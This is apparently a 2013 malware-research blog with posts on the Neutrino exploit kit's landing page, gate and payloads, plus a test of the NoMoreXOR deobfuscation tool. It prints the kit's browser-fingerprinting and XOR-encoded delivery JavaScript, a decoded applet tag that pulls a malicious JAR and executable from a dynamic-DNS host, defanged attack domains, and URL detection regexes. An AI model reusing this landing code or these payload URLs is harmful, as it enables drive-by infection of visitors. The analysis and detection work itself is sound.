Monday, July 29, 2013

Yet another encounter with Neutrino EK


Neutrino has worked its way to be my favourite EK. No good reason for it but it is a nice kit to analyze. As I got pinged on a case from @node5 via @MalwareMustDie once again I got curious if there where changes. And since I have been quite busy lately I thought it would be a good opportunity to write up a small analysis so my blog would not die off entirely.

Any changes? The landing has changed since my last analysis, but our good folks over at MMD have taken care of that update in their "Knockin' on Neutrino Exploit Kit's door..."

So to the case at hand:
@node5 saw a change in the landing on the 26th of July (pastebin) cleaned up and explained by MalwareMustDie (pastebin)  Added here for completeness:

// #MalwareMustDie!
// My personal note..
// New form of Neutrino EK landing page?
// A quest! Where's the XOR data now? :-D
 
 
<script src='xsvhwjx.js'></script>
<script src='qmqsfiutp.js'>
</script><script src='hrcl.js'></script>
<link href='xbbcukphokdo.css' rel='stylesheet'>
<link href='nhpgbsrcogf.css' rel='stylesheet'>
<link href='bbehoufqwh.css' rel='stylesheet'>
 
<script src='gdhclsjileqh.js'></script>
<script src='nrezixfqsy.js'></script>
<script src='sgxvswm.js'></script>
<script src='ztblmkuxokfcyxgy.js'></script>
<script type="text/javascript" src="index.js"></script> // <=== @malwaremustdie: Plugindetect??
<script src='dwwccp.js'></script>
<script src='zkbvwzvq.js'></script>
 
 
<script>
 $(document).ready(function()
 {
   rq(
        "51f2394faaa2cc390a075f4c",
        "eyhuui",        // <== @malforsec & @malwaremustdie: OK this is the key :-)
        "uvkotuiae",    // <=== @malwaremustdie: POST command value
        "ngrdddfrrlrzro",
        "gfsjmndvvz"
     )
 }
 );
 function rq(a,c,f,e,g)
 {
   var d=PluginDetect.getVersion,b=[];  // // <== @malwaremustdie: PoC of PluginDetect v0.8.0
   b.push("hid:::"+a);
   b.push("adobe_reader:::"+d("AdobeReader"));
   b.push("java:::"+d("Java"));
   b.push("flash:::"+d("Flash"));
   b.push("quick_time:::"+d("QuickTime"));
   b.push("real_player:::"+d("RealPlayer"));
   b.push("shockwave:::"+d("Shockwave"));
   b.push("silver_light:::"+d("Silverlight"));
   b.push("vlc:::"+d("VLC"));
   b.push("wmp:::"+d("WMP"));
   b.push("office:::"+office_ver());
   a={};
   a[e]=c;                                        // <=== c = "51f2394faaa2cc390a075f4c"
   a[g]=encodeURIComponent(www(b.join(";;;"),c));  // <== @malwaremustdie: Assembling the POST query.
   $.post(f,a,function(a,
   b)
   {
     $("body").append(www(decodeURIComponent(a),c)) // <== @malwaremustdie: A DAT www is XOR function.
   }
   )
 }
 function www(a,c)        // <=== @malwaremustdie: XOR function name in camouflaged
 {                      
   for(var f="",e=0,g=0,e=0;e<a.length;e++) // <=== @malwaremustdie: XOR logic
       g=Math.floor(e%c.length),
       f+=String.fromCharCode(a.charCodeAt(e)^c.charCodeAt(g));
   return f
 }
 function office_ver()
 {
   var a=0,c=0;
   try
   {
     a=new ActiveXObject("SharePoint.OpenDocuments.4")
   }
   catch(f)
   {
   }
   try
   {
     c=new ActiveXObject("SharePoint.OpenDocuments.3")
   }
   catch(e)
   {
   }  // <=== @malwaremustdie: here goes the exploit payloads access...
   return"object"==typeof a&&"object"==typeof c?"2010":"number"==typeof a&&"object"==typeof c?"2007":null
 };
 
</script>
 
 
----
#MalwareMustDie!
@unixfreaxjp ~]$ date
Sat Jul 27 01:17:40 JST 2013


Small changes as we still can see the Host id, xor key and the end of the post url is still in there.  See my previous posts on the landing "Neutrino landing page demystified" and "Neutrino landing page change". Also we still see lots of rubbish GET requests.
As I got pcap on this lets go through it:

Landing:


POST request:


 Info from the PluginDetect is Posted to the server xored and URLencoded.
The answer gzip decoded:


 Y%18%18%05%19%0C%11Y%09%07%16%01%0C%0F%0DHR%01%11%0D%18OZF%0D%1A%0B%04%1F%1F%08%17%01%0C%1B%10%15%1A%0B%0C%5B%0D%0B%0A%09%19%1C%08%16W%0B%1A%18S%5DIXEZ%04%1F%1B%1A%05%18%0B%0B%03%0DJ%19%06%0B%13%02%19%0C%08%03%0F%0AH%16%0A%09%0D%0A%0D%11%0E%0D%5EH%16%1A%0DDO4%05%05BY%1F%1C%11%1D%0DDODENE%11%0D%1C%12%01%11DODEN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%0D%0D%10%0ABY%1E%14%19%1CDO%14%3D%3BU%1A%2C%1A%03%25W%11%02%2CF%2F%14%1D%05D%08%3D%15%1D%10-%2B%0F%20%5B%1E3%22L%12%2C%22%11%15%20080W%40%1C%3A%1F%0E%124%2C4%03%08%0B3%1D%16G%1D%13%1A%5B%1DC%0B%22%0EG%172%5C%0F%1B%5B%05%190%0B%15%18%11G%5CW%29%3F%3B%1F%0B-%2B%01%102%3B%0B%18%29HHN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%10%1E%10%10BY%1E%14%19%1CDO%07%06%1A%13%5EV%7F%7C%60lpTZ%14%19%15%15%0D%01Kclp


This is also xored and UrlEncoded. I have made a nice little Javascript to decode the answer:


@malforsec JS to decode Neutrino POST answers
function xor(input, pass) {
  var output = "";
  var i = 0;
  var pos = 0;
  for (i = 0; i < input.length; i++){
    pos = Math.floor(i%pass.length);
    output += String.fromCharCode(input.charCodeAt(i) ^ pass.charCodeAt(pos));
  }
  return output;
}

var stranswer = "Y%18%18%05%19%0C%11Y%09%07%16%01%0C%0F%0DHR%01%11%0D%18OZF%0D%1A%0B%04%1F%1F%08%17%01%0C%1B%10%15%1A%0B%0C%5B%0D%0B%0A%09%19%1C%08%16W%0B%1A%18S%5DIXEZ%04%1F%1B%1A%05%18%0B%0B%03%0DJ%19%06%0B%13%02%19%0C%08%03%0F%0AH%16%0A%09%0D%0A%0D%11%0E%0D%5EH%16%1A%0DDO4%05%05BY%1F%1C%11%1D%0DDODENE%11%0D%1C%12%01%11DODEN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%0D%0D%10%0ABY%1E%14%19%1CDO%14%3D%3BU%1A%2C%1A%03%25W%11%02%2CF%2F%14%1D%05D%08%3D%15%1D%10-%2B%0F%20%5B%1E3%22L%12%2C%22%11%15%20080W%40%1C%3A%1F%0E%124%2C4%03%08%0B3%1D%16G%1D%13%1A%5B%1DC%0B%22%0EG%172%5C%0F%1B%5B%05%190%0B%15%18%11G%5CW%29%3F%3B%1F%0B-%2B%01%102%3B%0B%18%29HHN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%10%1E%10%10BY%1E%14%19%1CDO%07%06%1A%13%5EV%7F%7C%60lpTZ%14%19%15%15%0D%01Kclp";
console.log(xor(decodeURIComponent(stranswer),"eyhuui"));

Just change the xorkey and the POST answer string and you are good to go.

This gives us readable output:

<applet archive='hxxp: //hccqjvmniynypccy.dnsalias.com:8000/mzbrpmbnze?lonjjlyafvb=ccltbxdgh' code='Apl' width='10' height='10'>
   <param name='exec' value='aHR0cDovL2hjY3Fqdm1uaXlueXBjY3kuZG5zYWxpYXMuY29tOjgwMDAvanJuc2tvc3h6bGw/bG5jb3plYnlpd252PWNjbHRieGRnaA=='>
   <param name='xkey' value='rssv'>
</applet>


The important info to take with us here is the "xkey" parameter value. We will need that to decode the binary later. So remember the value "rssv"

JAR request:


Binary request:



With little changes to Neutrino I just grabbed my python script to decode Neutrino binaries and had a look if that still worked(Just remember the xor key from the applet tags "rssv"). You can find it here

Worked like a charm :) Always nice when hard work done earlier pays off, ain't it...

For the record Virustotal results for the JAR and EXE:

JAR: 5/46  Link
EXE: 35/46 Link


Epilogue:

For those who need detailed detection of Neutrino on the network. The URL's have changed again(expect them to continue changing) as before only the first chars in GET variables and values have changed:

landing: /s[a-z0-9]{1,16}\?d[a-z0-9]{1,12}=[0-9]{7}$
JAR: /m[a-z0-9]{1,11}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{0,9})$
EXE: /j[a-z0-9]{1,16}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

Thanks to @node5 for providing pcap and to @MalwareMustDie for pinging me.

PS: The URL change is also confirmed with pcaps that I have received from @urlquery. Thanks for for sharing those!

UPDATE 20130807:
@Set_Abominae catched, yet another, change in the URL pattern: pastebin


Keep on having fun analysing and detecting Neutrino EK :)

Thursday, May 30, 2013

A peak at NoMoreXOR

I have, since I heard about it in April, wanted to take a closer look at NoMoreXOR a Python tool made by Glenn over @Hiddenillusion 

When dealing with exploit kits we have a need to deobfuscate the final payload that these "Mass customized attacks" (see this video on the topic -> I liked) are throwing our way. Since I do not do Sudoku I very much like the pussle of going through some obfuscated Java code to figure out how to deobfuscate the payloads, but sometimes when we need a quick answer to what really hit us,  a tool would be great.

Hopefully NoMoreXor can help us to achieve that.

When I stumbled over a Blackhole EK here the other day I thought it would be a good opportunity to test NoMoreXOR on the payloads. So I fetched 4 JAR files and the obfuscated binary to be sure we had something to work with. For info on how to download exploits and payloads from BHEK see my "Analyzing Blackhole EK" post. My last post was about Neutrino  . We had a xored payload from there as well which we can play with. And finally we will have a look at Zeroaccess  getL messages(small hope for help on those, but we will see).

1. NoMoreXOR vs Neutrino binary payloads

Lets look at the file we want to deobfuscate:

0000000: 3c31 c3a9 7572 6b79 7575 6b79 75c2 8ec2  <1..urkyuukyu...
0000010: 9479 75c3 896b 7975 716b 7975 316b 7975  .yu..kyuqkyu1kyu
0000020: 716b 7975 716b 7975 716b 7975 716b 7975  qkyuqkyuqkyuqkyu
0000030: 716b 7975 716b 7975 716b 7975 716b 7975  qkyuqkyuqkyuqkyu
0000040: c2a1 6b79 757f 74c3 837b 71c3 9f70 c2b8  ..kyu.t..{q..p..
0000050: 50c3 9378 39c2 bc4a 2d1d 1818 5905 0304  P..x9..J-...Y...
0000060: 1e07 1006 5916 1005 171a 054b 1b10 5119  ....Y......K..Q.
0000070: 0c1b 5102 1755 3524 2a55 1c04 1d10 5f66  ..Q..U5$*U...._f
0000080: 747f 556b 7975 716b 7975 320b c3a8 c39a  t.Ukyuqkyu2.....
0000090: 766a c286 c289 766a c286 c289 766a c286  vj....vj....vj..
00000a0: c289 51c2 acc3 bbc2 8977 6ac2 86c2 8976  ..Q......wj....v
00000b0: 6ac2 87c2 891c 6ac2 86c2 8951 c2ac c3bd  j.....j....Q....
00000c0: c289 796a c286 c289 51c2 acc3 bcc2 8977  ..yj....Q......w
00000d0: 6ac2 86c2 8951 c2ac c3ab c289 606a c286  j....Q......`j..
00000e0: c289 51c2 acc3 bac2 8977 6ac2 86c2 8951  ..Q......wj....Q
00000f0: c2ac c3be c289 776a c286 c289 2302 1a1d  ......wj....#...
0000100: 766a c286 c289 212e 7975 3d6a 7a75 065f  vj....!.yu=jzu._
0000110: c297 3571 6b79 7571 6b79 75c2 916b 7a74  ..5qkyuqkyu..kzt
0000120: 7a6a 7175 71c3 8f79 7571 c393 7b75 716b  zjquq..yuq..{uqk
0000130: 7975 5b49 7975 717b 7975 71c2 ab79 7571  yu[Iyuq{yuq..yuq
0000140: 6b39 7571 7b79 7571 6979 7575 6b79 7571  k9uq{yuqiyuukyuq
0000150: 6b79 7575 6b79 7571 6b79 7571 c3ab 7a75  kyuukyuqkyuq..zu
0000160: 716f 7975 3523 7a75 736b 7975 716b 6975  qoyu5#zuskyuqkiu
0000170: 717b 7975 716b 6975 717b 7975 716b 7975  q{yuqkiuq{yuqkyu
0000180: 616b 7975 716b 7975 716b 7975 1dc3 8779  akyuqkyuqkyu...y
0000190: 75c3 bd6b 7975 711b 7a75 7963 7975 716b  u..kyuq.zuycyuqk
00001a0: 7975 716b 7975 716b 7975 716b 7975 716b  yuqkyuqkyuqkyuqk


We can see patterns and repetitive chars here. Definately a candidate for XOR. And since we know it to come from an exploit kit we expect win binaries, so it is obuscated.

Lets run NoMoreXOR:

remnux@remnux:~/EK/xor/neutrino$ NoMoreXOR.py -a -o out.hex neutrino.bin
[+] Attempting auto analysis
[+] HEXing................................: neutrino.bin
[+] Saving as.............................: out.hex
[+] Attempting to guess the XOR key of....: out.hex
[+] Size of content.......................: 379904
[+] Total pages (1024k)...................: 371
[+] Total contiguous 512 chunks...........: 742
[+] Top (5) overall chars
=============================================
 Occurences | Character(s)
---------------------------------------------
      13797 = 0x75
      13619 = 0x79
      13488 = 0x6b
      13332 = 0x71
       1479 = 0x86

[+] Total number of unique 512 chunks.....: 642
[+] Top (5) 512 char sequences after cleanup
=============================================
 Occurences | Character(s)
---------------------------------------------
 101 = 716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975

 1 = 6e662191ae967f7997adda6f52d7e87c32615ae3afb5d8e378dd4ee885db350032415823d25ce457717afb2c716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975

Being no expert on the tool: I think it is telling us that the key is about 4 byte and that the values are 0x75, 0x79, 0x6b and 0x71 (ascii: u, y, k q). Look in the Neutrino post and you will see that thats correct :) At least those are overrepresented in the file. The tool gives us 5 candidates for keys and 5 candidates for files that should be deobfuscated. We have to go hrough them and figure out which one we think fits best.

Lets have a look at candidate 0:

0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3  MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000  ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: c390 0000 000e 1fc2 ba0e 00c2 b409 c38d  ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f  !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072  gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d  un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 4360 c291 c2af  ..$.......C`....
0000090: 0701 c3bf c3bc 0701 c3bf c3bc 0701 c3bf  ................
00000a0: c3bc 20c3 87c2 82c3 bc06 01c3 bfc3 bc07  .. .............
00000b0: 01c3 bec3 bc6d 01c3 bfc3 bc20 c387 c284  .....m..... ....
00000c0: c3bc 0801 c3bf c3bc 20c3 87c2 85c3 bc06  ........ .......
00000d0: 01c3 bfc3 bc20 c387 c292 c3bc 1101 c3bf  ..... ..........
00000e0: c3bc 20c3 87c2 83c3 bc06 01c3 bfc3 bc20  .. ............ 
00000f0: c387 c287 c3bc 0601 c3bf c3bc 5269 6368  ............Rich
0000100: 0701 c3bf c3bc 5045 0000 4c01 0300 7734  ......PE..L...w4
0000110: c3ae 4000 0000 0000 0000 00c3 a000 0301  ..@.............


Hey that looks to be pretty close.  The other candidates did not look like win exe files so we stop at the first one. Luckily I made a python tool to deobfuscate the neutrino binary received. So lets do a diff on the files and check:

remnux@remnux:~/EK/xor/neutrino$ diff -s neutrino.exe neutrino.bin.0.unxored 
Files neutrino.exe and neutrino.bin.0.unxored are identical

Yes they match exactly :) Nice NoMoreXOR!

2. NoMoreXOR vs Blackhole binary payloads

Lets look at the payload received from the blackhole EK:

0000000: 2f1e 3618 c289 7c6e 50c2 b614 c3b6 c3a8  /.6...|nP.......
0000010: 2533 3ec2 a0c2 bac3 a4c3 8638 c2aa 1cc2  %3>........8....
0000020: 8e70 12c2 b416 c288 7a6c 5e40 c2a2 04c3  .p......zl^@....
0000030: a6c3 98c3 8a3c c2ae 10c3 b2c3 9436 c2a8  .....<.......6..
0000040: 1ac2 8c7e 6042 c2a4 06c3 b8c3 aac3 9cc3  ...~`B..........
0000050: 8e30 c292 7456 483a 2cc2 9e00 c3ac c39b  .0..tVH:,.......
0000060: c29c c296 0a48 c3a7 1d13 2c77 24c2 976d  .....H....,w$..m
0000070: c3aa 48c3 ab17 66c3 8858 c3b3 69c2 82c2  ..H...f..X..i...
0000080: b359 c2b6 6bc2 9bc2 82c2 b0c2 af56 c2a4  .Y..k........V..
0000090: 043d 6ac3 8e5b c3be 523d c398 08c3 9e43  .=j..[..R=.....C
00000a0: c2ad c380 c2af 4bc3 a21d 4451 43c2 ba36  ......K...DQC..6
00000b0: c3b4 c396 c388 3ac2 ac1e c280 3201 c2a6  ......:.....2...
00000c0: 18c3 867d 6850 3256 52c2 b9c3 9ac3 8c3e  ...}hP2VR......>
00000d0: c2a0 02c3 a4c3 8638 4a1c c281 7159 c2b5  .......8J...qY..
00000e0: 14c2 ba7a 1a5e 40c2 a2c3 8cc3 a7c3 98c3  ...z.^@.........
00000f0: 8a3c c2ae 1002 c28d 36c2 a81a c29c 7e60  .<......6.....~`
0000100: 4204 06c3 b8c3 aac3 9cc2 8e30 c292 6456  B..........0..dV
0000110: 48c2 ba2e c29e 00c3 a6c3 8426 c298 0ac3  H..........&....
0000120: bcc3 aec3 9036 c294 7668 5a4c c2be 20c2  .....6..vhZL.. .
0000130: 82c3 a444 c2b8 2ac2 980e c3b0 76c2 aec2  ...D..*.....v...
0000140: 9408 c3b8 c3ac c39e c380 22c2 8476 584a  .........."..vXJ
0000150: c2ac 2ec2 9072 54c2 a628 c29a 1cc3 bec3  .....rT..(......
0000160: a0c3 8224 c286 787a 5c4e c2b0 12c3 b4c3  ...$..xz\N......
0000170: 96c3 883a c2ac 1ec2 80c3 aec3 b1c2 a718  ...:............
0000180: c2b6 7c6e 50c2 b2c3 94c3 b7c3 a876 763e  ..|nP........vv>
0000190: c2a0 02c3 a4c3 8638 c2aa 1cc2 8e70 52c3  .......8.....pR.
00001a0: b614 c288 c282 715e 40c2 a204 c3a6 c398  ......q^@.......
00001b0: c38a 3cc2 ae10 c3b2 c394 36c2 a81a c28c  ..<.......6.....
00001c0: 7e60 42c2 a406 c3b8 c3aa c39c c38e 30c2  ~`B...........0.
00001d0: 9274 5648 c2ba 2cc2 9e00 c3a2 c384 26c2  .tVH..,.......&.
00001e0: 980a c3bc c3ae c390 32c2 9476 685a 4cc2  ........2..vhZL.

Not so easy to determine. Could it be encrypted? Again a payload binary from an exploit kit so we expect a win exe. Lets run NoMoreXOR


remnux@remnux:~/EK/xor/blackhole$ NoMoreXOR.py -a -o out.hex a.bin
[+] Attempting auto analysis
[+] HEXing................................: a.bin
[+] Saving as.............................: out.hex
[+] Attempting to guess the XOR key of....: out.hex
[+] Size of content.......................: 311280
[+] Total pages (1024k)...................: 303
[+] Total contiguous 512 chunks...........: 607
[+] Top (5) overall chars
=============================================
 Occurences | Character(s)
---------------------------------------------
        943 = 0x56
        939 = 0x8a
        935 = 0x1a
        934 = 0x3a
        931 = 0x6a

[+] Total number of unique 512 chunks.....: 467
[+] Top (5) 512 char sequences after cleanup
=============================================
 Occurences | Character(s)
---------------------------------------------
 134 = f2d436881aecfec0228466784a5cae30927456a83a8c1ee0c2248618eafcced0329476485aac3e806244a6388a1ceef0d23496687a4c5ea002e4c6d82abc0e907254b6089a6c7e40a204e6f8cadc2eb012f4d628ba0c9e6042a406986a7c4e50b214f6c8da2cbe00e2c426b80a9c6e7052b416e8faccde2082644658aa3c8e10f2d436881aecfec0228466784a5cae30927456a83a8c1ee0c2248618eafcced0329476485aac3e806244a6388a1ceef0d23496687a4c5ea002e4c6d82abc0e907254b6089a6c7e40a204e6f8cadc2eb012f4d628ba0c9e6042a406986a7c4e50b214f6c8da2cbe00e2c426b80a9c6e7052b416e8faccde2082644658aa3c8e10

 6 = 6244a6188a7c6e50b214f6e8dacc3ea002e4c638aa1c8e7052b416887a6c5e40a204e6d8ca3cae10f2d436a81a8c7e6042a406f8eadcce3092745648ba2c9e00e2c426980afceed0329476685a4cbe20826446b82a9c0ef0d2349608faecdec0228466584abc2e907254b6289a0cfee0c22486786a5c4eb012f4d6c83aac1e806244a6188a7c6e50b214f6e8dacc3ea002e4c638aa1c8e7052b416887a6c5e40a204e6d8ca3cae10f2d436a81a8c7e6042a406f8eadcce3092745648ba2c9e00e2c426980afceed0329476685a4cbe20826446b82a9c0ef0d2349608faecdec0228466584abc2e907254b6289a0cfee0c22486786a5c4eb012f4d6c83aac1e80


Nothing to conclude from this output? Seems like there is one key though...

Again 5 files to look more into.

File 0:

0000000: c39d c38a 00c2 90c2 93c2 90c2 90c2 90c2  ................
0000010: 94c2 90c2 90c2 906f 6fc2 90c2 9028 c290  .......oo....(..
0000020: c290 c290 c290 c290 c290 c290 c390 c290  ................
0000030: c290 c290 c290 c290 c290 c290 c290 c290  ................
0000040: c290 c290 c290 c290 c290 c290 c290 c290  ................
0000050: c290 c290 c290 c290 c290 c290 c290 c290  ................
0000060: c290 c290 c290 c290 c290 c290 c290 c290  ................
0000070: c290 c290 10c2 90c2 90c2 90c2 9ec2 8f2a  ...............*
0000080: c29e c290 24c2 995d c2b1 28c2 91c3 9c5d  ....$..]..(....]
0000090: c2b1 c384 c3b8 c3b9 c3a3 c2b0 c3a0 c3a2  ................
00000a0: c3bf c3b7 c3a2 c3b1 c3bd c2b0 c3b3 c3b1  ................
00000b0: c3be c3be c3bf c3a4 c2b0 c3b2 c3b5 c2b0  ................
00000c0: c3a2 c3a5 c3be c2b0 c3b9 c3be c2b0 c394  ................
00000d0: c39f c383 c2b0 c3bd c3bf c3b4 c3b5 c2be  ................
00000e0: c29d c29d c29a c2b4 c290 c290 c290 c290  ................
00000f0: c290 c290 c290 c380 c395 c290 c290 c39c  ................
0000100: c291 c296 c290 10c3 9234 c381 c290 c290  .........4......
0000110: c290 c290 c290 c290 c290 c290 70c2 90c2  ............p...



Not what we where looking for, continue

File 1:

0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3  MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000  ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: c280 0000 000e 1fc2 ba0e 00c2 b409 c38d  ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f  !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072  gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d  un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 5045 0000 4c01  ..$.......PE..L.
0000090: 0600 c280 42c2 a451 0000 0000 0000 0000  ....B..Q........
00000a0: c3a0 000f 010b 0102 3200 7600 0000 c388  ........2.v.....
00000b0: 0100 0000 0000 c3b0 5900 0000 1000 0000  ........Y.......
00000c0: c2a0 0000 0000 4000 0010 0000 0002 0000  ......@.........
00000d0: 0400 0000 0000 0000 0400 0000 0000 0000  ................
00000e0: 00c2 8002 0000 0400 00c2 a4c2 9a02 0002  ................
00000f0: 0000 0000 0010 0000 1000 0000 0010 0000  ................
0000100: 1000 0000 0000 0010 0000 0000 0000 0000  ................
0000110: 0000 00c2 8cc2 b501 003c 0000 0000 c380  .........<......
0000120: 0100 c2ac c2ba 0000 0000 0000 0000 0000  ................
0000130: 0042 0200 c3b8 1d00 0000 0000 0000 0000  .B..............
0000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000170: 00c3 a8c2 b501 0020 0000 0000 0000 0000  ....... ........
0000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................



Nice, thats more like it.

Now lets test it -> I ran it; and what else to expect than Ransomeware.

2-0 to NoMoreXOR - Great!

3. NoMoreXOR vs Zeroaccess getL messages

Lastly lets have a brief look at ZeroAccess P2P traffic that we know to be XORed.
Original traffic:


0000000: c2b8 3f35 c3be 28c2 94c2 8dc2 abc3 89c3  ..?5..(.........
0000010: 80c3 91c2 99c2 85c2 956f 3f0a            .........o?.


Output from NoMoreXOR:

remnux@remnux:~/EK/xor/zeroaccess$ NoMoreXOR.py -a -o out.hex getl2
[+] Attempting auto analysis
[+] HEXing................................: getl2
[+] Saving as.............................: out.hex
[+] Attempting to guess the XOR key of....: out.hex
[+] Size of content.......................: 56
[+] Total pages (1024k)...................: 0
[+] Total contiguous 512 chunks...........: 0
[+] Top (5) overall chars
=============================================
 Occurences | Character(s)
---------------------------------------------
          7 = 0xc2
          4 = 0xc3
          2 = 0x3f
          1 = 0xbe
          1 = 0xab

[+] Total number of unique 512 chunks.....: 1
[+] Top (5) 512 char sequences after cleanup
=============================================
 Occurences | Character(s)
---------------------------------------------
 1 = c2b83f35c3be28c294c28dc2abc389c380c391c299c285c2956f3f0a

[+] Trying XOR key : c2b83f35c3be28c294c28dc2abc389c380c391c299c285c2956f3f0a
[+] XOR'ing................................: getl2
[+] Saving as..............................: getl2.0.unxored
[+] Scanning with Yara
[-] Using rules............................: /usr/local/etc/capabilities.yara


Only one candidate this time:

0000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000010: 0000 0000 0000 0000 0000 0000 0a         .............

No luck this time.  I guess the tool was not made for it either.

4. Conclusion

Seems like we have found a really useful tool here. Thanks to @Hiddenillusion for sharing. As this  tool is totally open source we are able to extend the tool should we want to do that.



Happy XORing Exploit Kit payloads



For description and how to use see the link to Hiddenillusions above.

Further reading:
Malwarebites on XOR - By Joshua Cannell
SANS DFIR - By Lenny Zeltser

Friday, May 10, 2013

Neutrino Exploit Kit analysis


I have previously looked at the neutrino landing page: Neutrino landing page demystified and Neutrino landing pane change.
There obviously are quite a few Neutrino live kits out there so it is time to take a closer look at this evil piece of software. Lets see if we can figure out what these bad actors are up to and make sure that we can detect activity related to the Neutrino exploit kit.



1. Gate


Neutrino has a gate which you will have to pass to be able to get to the landing pane. To get to the gate you normally follow a series of hacked sites which will redirect. The gate will give you html to move you over to the landing pane to look at your client and find a way to exploit you. If you have the url to the gate and a valid referer you will be able to get valid urls to the landing:

--2013-05-07 --  hxxp:// www.leritsuwa.biz/cust_gw/ads_m/show_bn.c.php?sid=27982987

Resolving www.leritsuwa.biz... 77.81.183.98

Connecting to www.leritsuwa.biz|77.81.183.98|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 402 [text/html]

Saving to: `c2_1.php'



     0K                                                       100% 24.7M=0s



2013-05-07 (24.7 MB/s) - `c2_1.php' saved [402/402]



<HTML><HEAD><title>Canadian Pharmacies Buy Generic Drugs Prescription International Online Pharmacy Drugstore</title><meta http-equiv="refresh" content="20;url=hxxp:// www.expressmedscanada.com/?id=
15&group=158"></HEAD><FRAMESET rows="100%" BORDER=0 FRAMEBORDER=0 FRAMESPACING=0><FRAME NAME="fi20o3893jhms" SRC="hxxp:// milk-cocoa.info/lghvewgr?foyuhtmbcj=3800964"><noframes></noframes></FRAMESET
></HTML>


You will over time get new urls to the landing pane:

hxxp: //milk-cocoa.info/lskbiqp?frglxucscol=3800964

hxxp: //milk-cocoa.info/lhdlqxyl?fbljocmikem=3800964

hxxp: //milk-cocoa.info/lsbqfqw?frovckttsq=3800964

hxxp: //milk-cocoa.info/liwmlvf?fehbyxmtxg=3800964

hxxp: //milk-cocoa.info/ltkirxwniohper?fgcycebw=3800964

hxxp: //freshaircleaner.org/lkyjngdxnteuq?fmcmkkkrl=3800964

hxxp: //borlanove.net/lxfyvqlynuq?fofgfj=3800964

hxxp: //ufohuntersde.com/lwjreshxkq?fwvpxubwtskl=3800964

hxxp: //ufohuntersde.org/luimkvtrqdjcp?fdekcxhep=3800964

hxxp: //ufohuntersde.org/lupofx?fowxcseexqhx=3800964

hxxp: //ufohuntersde.org/lupofx?fowxcseexqhx=3800964

hxxp: //ufohuntersde.info/lxinmt?fdsrfeodpqr=3800964

hxxp: //ufohuntersde.info/lcgdqbnvox?futqfwvjjm=3800964

hxxp: //ufohuntersde.info/lhpixuskkvx?fgtujfccrw=3800964

hxxp: //ufohuntersde.info/lumqnhjb?fjoywbpcihk=3800964

hxxp: //morabudac.com/ldqumpgiqlrgh?flobicxfnq=3800964


I have however noticed that the 7 digit number for the f{random length lowercase random string} parameter stays the same over time. The urls to the landing will also be reused.

2. Landing pane


<!DOCTYPE HTML>
<html>
<head>
 <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script> 
 <script type="text/javascript" src="scripts/js/plugin_detector.js"></script>
 <script type="text/javascript">
  $(document).ready(function() {
   АН602(
    '51895b4daaa2ccbb52175bd0', 
    'wvwyk', 
    'ckjktkjbjz',
    'pmoqfbqjzr',
    'ifhebqbx'    
   );
  });

  function АН602(hid, pass, cph, xpn, ipn) {
   var info = {
    hid : hid,
    plugins : {
     adobe_reader: PluginDetect.getVersion('AdobeReader'),
     java: PluginDetect.getVersion('Java'),
     flash: PluginDetect.getVersion('Flash'),
     quick_time: PluginDetect.getVersion('QuickTime'),
     real_player: PluginDetect.getVersion('RealPlayer'),
     shockwave: PluginDetect.getVersion('Shockwave'),
     silver_light: PluginDetect.getVersion('Silverlight'),
     vlc: PluginDetect.getVersion('VLC'),
     wmp: PluginDetect.getVersion('WMP')
    }
   };

   var obj = {};
   obj[xpn] = pass;
   obj[ipn] = encodeURIComponent(xor(JSON.stringify(info), pass));
   
   $.post(cph, obj, function(data, status){
    $("body").append(xor(decodeURIComponent(data), pass));
   });
   
  }

  function xor(input, pass) {
   var output = "";
   var i = 0;
   var pos = 0;
   for (i = 0; i < input.length; i++){ 
     pos = Math.floor(i%pass.length);
